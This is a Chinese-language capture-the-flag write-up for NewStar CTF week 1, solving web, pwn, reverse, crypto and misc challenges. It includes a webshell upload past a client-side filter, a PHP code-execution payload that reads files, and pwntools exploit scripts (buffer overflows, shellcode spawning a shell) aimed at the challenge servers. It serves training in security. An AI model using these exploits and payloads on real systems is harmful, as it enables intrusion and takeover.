NewStar CTF week1

全部ak了,排名第九。

web

泄漏的秘密

  1. 直接访问www.zip,发现下载了源码。

  2. 压缩包内有两个文件。

  3. 查看这两个文件即可得到flag。

Begin of Upload

只有前端过滤,bp抓包直接上传一句话木马就行了。

ErrorFlask

  1. 按照题目要求,get传入number1number2,能够计算结果。

  2. 传入一个非数字,进入debug,在debug页面找到了flag。

Begin of HTTP

  1. 根据要求,get传入ctf=x

  2. 查看源码发现了提示,将 字符串base64解码,post传入secret=n3wst4rCTF2023g00000d

  3. Cookie传入power=ctfer

  4. User-Agent改为 NewStarCTF2023

  5. 添加referernewstarctf.com

  6. 参考 这个博客 ,添加X-Real-IP127.0.0.1

Begin of PHP

  1. Level 1Level 2Level 3都拿数组绕。

  2. Level 4,get传入'key5=2024a,绕过is_numeric

  3. Level 5,post传入flag=%00,即可得到flag。

R!C!E!

  1. 通过百度搜或者爆破,可以知道password=114514

  2. php变量的特性,传入e[v.a.l=phpinfo();,成功执行代码。

  3. 利用反引号,成功读出flag。

    password=114514&e[v.a.l=echo `tac /f*`;

EasyLogin

  1. 爆破出admin的密码。

  2. 登录成功后,发现会跳转到另一个页面。

  3. 手动跟过去,即可得到flag。

pwn

p1eee

  1. 开启了pie保护。

  2. ida查看,能看到有后门函数。

  3. 查看变量buf,可以知道buf的长度为0x20

  4. exp:

    from pwn import *
    context(os = 'linux',arch = 'amd64',log_level = 'debug')
    #p=process('./p1eee')
    p = remote('node4.buuoj.cn',27761)
    payload = 'a'*0x28 + '\x7b'
    p.recvuntil(b'A nice try to break pie!!!\n')
    p.send(payload)
    p.recvuntil(b'A nice try to break pie!!!\n')
    payload1 = 'a'*0x28 + '\x64'
    p.send(payload1)
    p.interactive()

  5. 疑惑:为啥直接跳到后门不行,要先跳到main再跳到后门。

ret2text

ida打开,能直接看到后门的地址和字符长度。

exp:

from pwn import *

sh = process('./ret2text')
#sh = remote('node4.buuoj.cn', 26560)

payload=b'A' * 32 + b'B' * 8 + p64(0x04011FB)
sh.sendline(payload)

sh.interactive()

ezshellcode

学习链接:https://www.bilibili.com/read/cv11147377/?from=search&spm_id_from=333.337.0.0

基本和上面哪个一样。

exp:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#cal = process('./ezshellcode')
cal = remote('node4.buuoj.cn',29446)
payload = asm(shellcraft.sh())
cal.send(payload)
cal.interactive()

newstar shop

整形溢出。

分析发现,money是一个无符号型整数,我们只要在商店花完钱,之后选3扣个50块,我们就能让money变成一个超大数,之后就能买shell了。

Random

伪随机数,只要种子确定好,就能getshell

利用$0来获取shell,参考链接:http://lihuaxi.xjx100.cn/news/1189683.html?action=onClick

因此我们获取的种子需要满足能返回$0,因此写了个判断,判断对了才进远端。

exp:

from pwn import *
from ctypes import *
import time

context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf=cdll.LoadLibrary("libc.so.6")
aa="2$031"
while 1:
elf.srand(int(time.time()))
payload = str(elf.rand()).encode()
a=elf.rand()%5
b=elf.rand()%2
if a==2 and b==1:
#cal = process('./random')
cal = remote('node4.buuoj.cn',25768)
cal.recvuntil(b'can you guess the number?')
cal.sendline(payload)
print(aa[b]+aa[a])
cal.interactive()
break

REVERSE

easy_RE

ida打开,就能在main函数找到两段flag。

upx的壳。

  1. 先用exeinfope查壳,可以知道是upx的壳。

  2. 脱壳后用ida打开,可以知道flag的每一个字符的ascll码都+1了之后再和enc做比较,还得知了enc的值。

  3. 最后的脚本:

    a="gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~"
    flag=""
    for i in a:
    flag+=chr(ord(i)-1)

    print(flag)
    #flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}

ELF

  1. ida打开,可以看到有一个encode函数,跟进查看,可以看到这个函数的逻辑。

  2. 后边把加密的字符先base64编码后,再和VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t做比较。

  3. 脚本:

    import base64
    a=b'VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t'
    b=base64.b64decode(a)
    flag=""
    for i in b:
    flag+=chr((i-16)^0x20)
    print(flag)
    #flag{D0_4ou_7now_wha7_ELF_1s?}

Segments

shift_f7,即可看到flag。

Endian

ida打开,发现array数组的值和0x12345678做异或。

脚本:

import binascii
a=[0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
flag=b""
for i in a:
hex_string=str(hex(i^0x12345678))[2:].encode()
#print(hex_string)
flag+=binascii.unhexlify(hex_string)[::-1]
print(flag)
#b'flag{llittl_Endian_a'

最后加上一个大括号就行了。

AndroXor

  1. jadx逆向apk,之后在MainActivity找到了这个。

  2. 接着在下边找到了一个异或的密钥。

  3. 脚本(C++):

    #include<iostream>
    using namespace std;
    int main()
    {
    int a[]={14, '\r', 17, 23, 2, 'K', 'I', '7', ' ', 30, 20, 'I', '\n', 2, '\f', '>', '(', '@', 11, '\'', 'K', 'Y', 25, 'A', '\r'};
    string key="happyx3";
    string flag="";
    for(int i=0;i<25;i++)
    {
    flag+=(char)(a[i]^key[i%key.length()]);
    }
    cout << flag;
    }
    //flag{3z_And0r1d_X0r_x1x1}

lazy_activtiy

同样用jadx逆向,全局搜flag{即可看到flag。

EzPE

参考:https://www.cnblogs.com/cyx-b/p/13485664.html

先学习PE程序的结构,然后修复PE头。

之后用ida打开,可以发现输入出了最后一位,每一位都和后一位进行异或。

脚本(c++):

#include<iostream>
using namespace std;
int main()
{
int a[]={0x0A,0x0C,4,0x1F,'&','l','C','-','<',0xC,'T','L','$','%',0x11,6,5,':','|','Q','8',0x1A,3,0xD,1,'6',0x1F,0x12,'&',4,'h',']','?','-','7','*','}'};

for(int i=35;i>=0;i--)
{
a[i]^=a[i+1]^i;
}
for(int i=0;i<=36;i++)
{
cout << (char)a[i];
}
}
//flag{Y0u_kn0w_what_1s_PE_File_F0rmat}

CRYPTO

brainfuck

根据题目可以知道是brainfuck编码,随便找个在线网站解码就行了。

Caesar’s Secert

凯撒加密,根据flag头推断出key为5。

Fence

栅栏密码,根据 { 的位置推断出key为2 。

Vigenère

维吉尼亚加密,根据flag头推算出kfck,尝试kfc后发现正确。

babyrsa

用yafu分解n,之后直接套脚本。

源码

from Crypto.Util.number import *
from flag import flag

def gen_prime(n):
res = 1

for i in range(15):
res *= getPrime(n)

return res


if __name__ == '__main__':
n = gen_prime(32)
e = 65537
m = bytes_to_long(flag)
c = pow(m,e,n)
print(n)
print(c)
# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

import gmpy2
from Crypto.Util.number import long_to_bytes

P1 = 2804303069
P2 = 2217990919
P3 = 2794985117
P4 = 3939901243
P5 = 2923072267
P6 = 2370292207
P7 = 2970591037
P8 = 2706073949
P9 = 2338725373
P10 = 2463878387
P11 = 3654864131
P12 = 4093178561
P13 = 3831680819
P14 = 4278428893
P15 = 3207148519

n=17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
e = 65537
phi=(P1-1)*(P2-1)*(P3-1)*(P4-1)*(P5-1)*(P6-1)*(P7-1)*(P8-1)*(P9-1)*(P10-1)*(P11-1)*(P12-1)*(P13-1)*(P14-1)*(P15-1)

c=14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
#b'flag{us4_s1ge_t0_cal_phI}'

Small d

超大的e,低解密指数攻击。

源码

from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d, (p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c = pow(m,e,n)

print(c)
print(e)
print(n)

# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

(python2的脚本)

# -*- coding: cp936 -*-
import gmpy2
import time

# 展开为连分数
def continuedFra(x, y):
cF = []
while y:
cF += [x / y]
x, y = y, x % y
return cF

def Simplify(ctnf):
numerator = 0
denominator = 1
for x in ctnf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return (numerator, denominator)

# 连分数化简
def calculateFrac(x, y):
cF = continuedFra(x, y)
cF = map(Simplify, (cF[0:i] for i in xrange(1, len(cF))))
return cF

# 解韦达定理
def solve_pq(a, b, c):
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) / (2 * a), (-b - par) / (2 * a)

def wienerAttack(e, n):
for (d, k) in calculateFrac(e, n):
if k == 0: continue
if (e * d - 1) % k != 0: continue

phi = (e * d - 1) / k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return abs(int(p)), abs(int(q))
print 'not find!'

time.clock()
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
p, q = wienerAttack(e, n)

print '[+]Found!'
print ' [-]p =',p
print ' [-]q =',q
print ' [-]n =',p*q
d = gmpy2.invert(e,(p-1)*(q-1))
print ' [-]d =', d
print ' [-]m is:' + '{:x}'.format(pow(c,d,n)).decode('hex')
print '\n[!]Timer:', round(time.clock(),2), 's'
print '[!]All Done!'

babyxor

源码

from secret import *

ciphertext = []

for f in flag:
ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

先拿0xe9f异或,得到key为143,最后用 cyberchef 解出来。

babyencoding

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`

part1 是base64,part2是base32,part3是uuencode。

最后得到flag:flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

Affine

源码:

from flag import flag, key

modulus = 256

ciphertext = []

for f in flag:
ciphertext.append((key[0]*f + key[1]) % modulus)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

根据flag头,可以列出两个方程:

(1): (key[0]*'f'+key[1])%256=0xdd
(2): (key[0]*'l'+key[1])%256=0x43

(2)-(1),即可得到

(key[0]*6)%256=-154

即可求出key[0]为 17,将key[0]代入,求出key[1]为23。

最后写脚本求出flag。

a=0
for i in range(0,20):
if (256-154+256*i)%6==0:
a=(256-154+256*i)//6
print(a)
break
b=0xdd-(ord('f')*a)%256
print(b)
c="dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"
i=0
flag=""
while i<len(c):
c1=c[i]+c[i+1]
c2=int(c1,16)
i+=2
for j in range(33,128):
if (a*j + b) % 256==c2 :
flag+=chr(j)
break

print(flag)

babyaes

源码

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *


def pad(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
flag_ = pad(flag)
key = os.urandom(16) * 2
iv = os.urandom(16)
print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)
print(enc_flag)


if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

根据源码,可以知道key的前后两段是一样的,vi再和aa异或后取后半段。所以我们可以得出key和vi。

from Crypto.Util.number import *
from Crypto.Cipher import AES
aa= 3657491768215750635844958060963805125333761387746954618540958489914964573229
a=long_to_bytes(aa)

key1 = a[0:16]

iv=long_to_bytes(bytes_to_long(key1) ^ aa^1)
key=key1+key1
iv=iv[16:]

c= b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

aes = AES.new(key,AES.MODE_CBC,iv)
flag=aes.decrypt(c)
print(flag)
#b'firsT_cry_Aes\x00\x00\x00'

MISC

CyberChef’s Secret

用CyberChef的megic方法即可得到flag。

机密图片

kali使用zsteg即可得到flag。

流量!鲨鱼!

Wireshark打开pacp文件,发现有很多http流量 。

过滤出返回200的包,可以看到有一个类似base64的返回包,猜测是flag。

Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=

base64解码2次即可得到flag。

flag{Wri35h4rk_1s_u53ful_b72a609537e6}

空白格

whitespace,用 在线网站 即可得到flag。

隐秘的眼睛

silenteye,用silenteye打开点击decode即可得到flag。

压缩包们

  1. 文件用010打开,修复文件头即可解压出flag.zip

  2. flag.zip,因为被修改了数据区,所以文件损坏。找一个正确加密的zip包对着改回来即可。

  3. 在压缩包的注释区发现了base64编码,解码后得到

    I like six-digit numbers because they are very concise and easy to remember.

    可知压缩包密码是6位数字。

  4. 爆破压缩包密码,得到,密码为232311,解压后即可得到flag为

    flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}